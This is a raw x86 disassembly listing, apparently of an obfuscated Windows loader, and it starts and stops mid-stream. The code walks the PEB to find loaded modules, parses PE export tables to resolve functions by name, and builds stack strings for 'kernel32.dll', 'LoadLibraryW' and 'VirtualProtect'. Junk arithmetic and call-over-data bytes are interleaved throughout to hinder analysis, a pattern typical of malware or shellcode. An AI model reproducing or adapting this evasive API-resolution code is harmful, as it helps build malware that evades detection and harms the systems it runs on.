xor edx, dword [eax - 0x7d]
les eax, [ecx + ebx*2]
push eax
xor eax, 0x177b1
sub eax, 0x45ab
pop eax
push edi
and edi, 0x9597
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x4854d9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4857ca
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x485501
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x4857ca
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x485533
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x4857ca
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x485558
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x4857ca
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x4855b2
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x4857be
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x485622
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x4856d4
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x4856d4
push ebx
or ebx, 0x76ac
jmp 0x48565b
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x12f00
sub esi, 0xb1ae
call 0x48567d
add byte [eax + edx*2], dh
dec eax
dec edx
dec ebp
inc ebx
aas
add esp, 4
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x4856c6
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x4856cd
jmp 0x485613
jmp 0x4856d4
push esi
push edi
add esp, 4
sub esi, 0xc647
or esi, 0x13a6c
xor esi, 0x38c0
pop esi
push esi
and esi, 0x683d
or esi, 0x10d64
add esi, 0x12dc7
sub esi, 0xb244
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x485733
mov dword [ebp - 0xc30], 0
jmp 0x4857a2
push edi
xor edi, 0x17b08
pop edi
push eax
push ecx
add esp, 4
add eax, 0x723
sub eax, 0x8657
or eax, 0x10e16
call 0x485761
add byte [ecx], bh
dec esi
xor al, 0x50
dec ebp
inc esp
xor eax, 0xc4834a3b
add al, 0x58
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x485798
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x4857a2
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x4857b9
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x4857ca
jmp 0x4855a3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x4858a5
push edx
push esi
add esp, 4
sub edx, 0x32d4
sub edx, 0xe5d8
pop edx
push edx
or edx, 0x14b1f
jmp 0x4857f8
jmp 0x4857ff
pop edx
push eax
jmp 0x485808
pop eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
jmp 0x48581d
jmp 0x485826
xor edx, 0x16cb8
and edx, 0x1812e
pop edx
push ebx
and ebx, 0x91ad
and ebx, 0x4f00
xor ebx, 0xaac0
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x4858a5
push ecx
xor ecx, 0x9ecf
or ecx, 0x18535
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0xeaaf
call 0x48588c
add byte [ebx], bh
inc ebp
cmp edi, dword [eax + edx*2]
push eax
dec esi
aas
dec ecx
add esp, 4
xor ebx, 0x14b74
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x485f8f
push esi
call 0x4858b5
add byte [esi + 0x4b], cl
inc ecx
aas
dec edi
dec ebx
cmp dword [edx + 0x34], ecx
add esp, 4
add esi, 0x10e30
pop esi
push eax
push ebx
add esp, 4
and eax, 0x512a
xor eax, 0x8f96
xor eax, 0xcbba
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
push edx
add esp, 4
add eax, 0x1f46
sub eax, 0xd920
xor eax, 0x11d46
and eax, 0xd86e
pop eax
push edx
and edx, 0xd9f3
sub edx, 0xe2e7
jmp 0x48592f
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x485948
mov dword [ebp - 0x2e0], 0
jmp 0x485bef
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
jmp 0x485960
pop esi
push edi
call 0x48596e
add byte [ecx + 0x37], cl
inc ebp
xor al, 0x41
xor eax, 0x5f04c483
push ebx
and ebx, 0x5b99
call 0x485988
add byte [ecx + 0x43], al
dec edi
inc eax
inc ebx
dec ebx
xor al, byte [ecx + 0x48]
add esp, 4
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x4859a4
mov dword [ebp - 0x2e0], 0
jmp 0x485bef
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
push eax
add esp, 4
jmp 0x4859bb
pop edi
push edx
push edx
add esp, 4
add edx, 0x5e35
add edx, 0xb6c9
pop edx
push eax
push esi
add esp, 4
and eax, 0xb3ff
pop eax
push esi
sub esi, 0x17f5d
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ebx
add esp, 4
add esi, 0x3fad
pop esi
push edx
and edx, 0x15ae9
sub edx, 0x4580
add edx, 0x1bcb
sub edx, 0x83e2
pop edx
push esi
push esi
add esp, 4
or esi, 0x4cac
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ecx
jmp 0x485a9c
pop ecx
push eax
jmp 0x485aa3
pop eax
push eax
push eax
add esp, 4
add eax, 0x4fb4
add eax, 0x14938
or eax, 0x80c0
pop eax
push edi
push ebx
add esp, 4
jmp 0x485ac6
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x485ae4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x485b3e
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x485a0c
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x485a0c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x485b28
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x485b32
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x485b87
push eax
push edi
add esp, 4
and eax, 0xdd34
xor eax, 0x41d6
add eax, 0x3a3a
pop eax
push ebx
sub ebx, 0x835a
or ebx, 0xa2b4
and ebx, 0xc580
or ebx, 0x140f5
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x485bef
push esi
push edi
add esp, 4
add esi, 0x12a7
or esi, 0xaa41
jmp 0x485b9d
and esi, 0xb8ad
pop esi
push esi
and esi, 0x307c
jmp 0x485bb2
and esi, 0x98a2
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x485be5
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x4859b0
mov dword [ebp - 0x2e0], 0
push edi
push ebx
add esp, 4
and edi, 0x10775
and edi, 0xae38
sub edi, 0x9a4b
pop edi
push edi
add edi, 0x4968
and edi, 0x17820
or edi, 0x718f
sub edi, 0x1edf
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
jmp 0x485c37
sub ecx, 0x137ea
jmp 0x485c43
and ecx, 0x13281
pop ecx
push edi
push eax
add esp, 4
or edi, 0x147c5
xor edi, 0xd995
and edi, 0x13c73
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x485c92
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x485f83
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x485cba
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x485f83
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x485cec
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x485f83
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x485d11
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x485f83
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x485d6b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x485f77
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x485ddb
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x485e8d
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x485e8d
push ebx
call 0x485e18
add byte [esi], dh
xor al, 0x33
cmp al, 0x43
dec eax
inc edi
dec edx
inc esp
add esp, 4
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x7b80
add ebx, 0x9cc9
or ebx, 0xe3b0
or ebx, 0x102b5
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x485e7f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x485e86
jmp 0x485dcc
jmp 0x485e8d
push ecx
jmp 0x485e96
pop ecx
push esi
call 0x485ea8
add byte [edx + 0x39], cl
cmp esi, dword [0x4f4e4941]
xor edi, dword [ecx]
add esp, 4
jmp 0x485eb3
jmp 0x485eb8
add esi, 0xdcb1
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x485eec
mov dword [ebp - 0xc40], 0
jmp 0x485f5b
push edx
or edx, 0x3b3a
xor edx, 0x4ba2
xor edx, 0x16083
pop edx
push edx
push ebx
add esp, 4
add edx, 0x11394
or edx, 0xdb70
or edx, 0x647a
sub edx, 0x11441
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x485f51
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x485f5b
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x485f72
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x485f83
jmp 0x485d5c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push eax
add esp, 4
and ebx, 0x12839
sub ebx, 0x18669
xor ebx, 0x1644e
or ebx, 0xe9cd
pop ebx
push edx
sub edx, 0xa2ac
xor edx, 0x183bc
or edx, 0x470f
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
push eax
add esp, 4
add esi, 0x33ab
pop esi
push esi
or esi, 0x51d8
sub esi, 0x3d21
sub esi, 0xf896
or esi, 0x115d7
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0xa555
pop ebx
cmp dword [ebp - 0x3cc], 0
je 0x486014
cmp dword [ebp - 0xa5c], 0
jne 0x48605a
push ebx
push edx
add esp, 4
and ebx, 0x12b29
sub ebx, 0x9713
pop ebx
push esi
add esi, 0x11802
and esi, 0x1611f
pop esi
push edx
push ebx
add esp, 4
jmp 0x48603f
add edx, 0xcd77
pop edx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push edx
add esp, 4
and ecx, 0x2785
and ecx, 0xc72c
sub ecx, 0x282d
pop ecx
push eax
xor eax, 0x14944
sub eax, 0x14626
add eax, 0x2070
sub eax, 0x17b3c
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
or edx, 0xedea
pop edx
push eax
push edi
add esp, 4
call 0x4860dd
add byte [ebx + 0x3d], al
push eax
cmp al, 0x36
inc ebp
xor al, byte [ecx + 0x34]
add esp, 4
add eax, 0xb4e9
xor eax, 0x5de7
sub eax, 0xf18f
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push eax
add esp, 4
xor ebx, 0x16ce8
and ebx, 0x2e7f
or ebx, 0xe561
sub ebx, 0x4fb8
pop ebx
push esi
sub esi, 0x86e4
and esi, 0xf83a
sub esi, 0x12d8d
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push edi
add esp, 4
jmp 0x4861c1
jmp 0x4861c6
call 0x4861d5
add byte [ebp + 0x4b], cl
dec ebp
dec ebx
dec edi
dec ebp
xor eax, dword [edi - 0x7d]
les eax, [edi + ebx*2]
push esi
or esi, 0xd5f2
or esi, 0x185df
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x4861ff
mov dword [ebp - 0x2a8], 0
jmp 0x4864a6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push eax
add esp, 4
sub edx, 0x3fa2
call 0x486229
add byte [0x4b393845], bh
push eax
dec eax
add esp, 4
call 0x486239
add byte [esi], bh
xor eax, dword ss:[ebx + edi + 0x4a]
dec esp
add esp, 4
xor edx, 0x1041f
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x48625b
mov dword [ebp - 0x2a8], 0
jmp 0x4864a6
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push edi
add esp, 4
add ecx, 0x1156b
add ecx, 0x183ea
add ecx, 0x2720
pop ecx
push ecx
push ecx
add esp, 4
xor ecx, 0x60e5
jmp 0x486292
jmp 0x486298
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push esi
add esp, 4
xor ecx, 0xcc04
and ecx, 0x9186
and ecx, 0x15407
pop ecx
push edx
and edx, 0x280c
sub edx, 0xa410
xor edx, 0x136f9
xor edx, 0xad64
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
push edi
add esp, 4
or esi, 0x3d8b
add esi, 0xa52
and esi, 0x99f2
pop esi
push esi
xor esi, 0x2aea
or esi, 0x4fcf
xor esi, 0x184f
xor esi, 0xa87a
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x48639b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x4863f5
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x4862c3
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4862c3
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4863df
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x4863e9
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x48643e
push esi
push ebx
add esp, 4
add esi, 0xa976
sub esi, 0xc1c1
add esi, 0xc9cb
pop esi
push ecx
add ecx, 0x125d6
or ecx, 0x10600
sub ecx, 0xfb9a
or ecx, 0xdfcd
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4864a6
push esi
xor esi, 0xdd7
or esi, 0xc84b
pop esi
push esi
and esi, 0x10a04
add esi, 0x42d8
pop esi
push esi
sub esi, 0x6b4d
add esi, 0x107a
jmp 0x48646f
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x48649c
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x486267
mov dword [ebp - 0x2a8], 0
push ecx
push eax
add esp, 4
add ecx, 0x18280
or ecx, 0x2572
add ecx, 0x69fe
pop ecx
push eax
or eax, 0x3a6c
xor eax, 0xc5e0
pop eax
push esi
push edi
add esp, 4
or esi, 0xa0ab
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x486ddd
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
xor eax, 0x124ee
pop eax
push edi
jmp 0x48658f
or edi, 0x45ef
add edi, 0x11a23
pop edi
push edi
and edi, 0x2b67
xor edi, 0x5d7d
sub edi, 0x1196e
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
sub esi, 0x1b06
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x124ba
pop ecx
push ebx
push esi
add esp, 4
xor ebx, 0x14e64
or ebx, 0x2868
sub ebx, 0x46ad
add ebx, 0x10daf
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x48667d
mov dword [ebp - 0x710], 0
jmp 0x486924
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push ecx
add esp, 4
xor edi, 0x14c97
and edi, 0x13b13
or edi, 0xe9cd
add edi, 0x76f4
pop edi
push edi
or edi, 0x15e59
xor edi, 0xfdfe
and edi, 0x4921
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x4866d9
mov dword [ebp - 0x710], 0
jmp 0x486924
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
jmp 0x4866ec
call 0x4866f9
add byte [ebp + 0x50], al
dec esi
xor al, byte [ebp + edi + 0x3f]
add esp, 4
pop edx
push ebx
or ebx, 0x5f8d
sub ebx, 0x18e4
sub ebx, 0x11faf
and ebx, 0xd69a
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push edx
add esp, 4
and edx, 0xbc01
pop edx
push esi
xor esi, 0xf926
sub esi, 0x4c58
sub esi, 0x143d9
pop esi
push edx
push edx
add esp, 4
sub edx, 0x161f4
xor edx, 0xe5c4
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
push ebx
add esp, 4
sub ebx, 0x19c2
sub ebx, 0xdfbd
xor ebx, 0x10081
sub ebx, 0x1a51
pop ebx
push edx
add edx, 0xfc2
and edx, 0x12cba
sub edx, 0x55c2
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x486819
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x486873
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x486741
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x486741
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x48685d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x486867
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4868bc
push edi
or edi, 0x12ef3
xor edi, 0x10160
pop edi
push ebx
push eax
add esp, 4
or ebx, 0x150fd
pop ebx
push ebx
push eax
add esp, 4
sub ebx, 0x3eb2
add ebx, 0x35fa
xor ebx, 0xd81f
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x486924
push eax
sub eax, 0xe92a
xor eax, 0x16cbd
pop eax
push ebx
push edx
add esp, 4
jmp 0x4868d7
call 0x4868e4
add byte [edx], dh
cmp eax, 0x354b3339
inc esi
add esp, 4
xor ebx, 0xc8f7
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x48691a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4866e5
mov dword [ebp - 0x710], 0
push ebx
sub ebx, 0x7695
or ebx, 0x16233
sub ebx, 0xfa64
pop ebx
push eax
push edx
add esp, 4
and eax, 0x75ff
or eax, 0x9544
or eax, 0x164f4
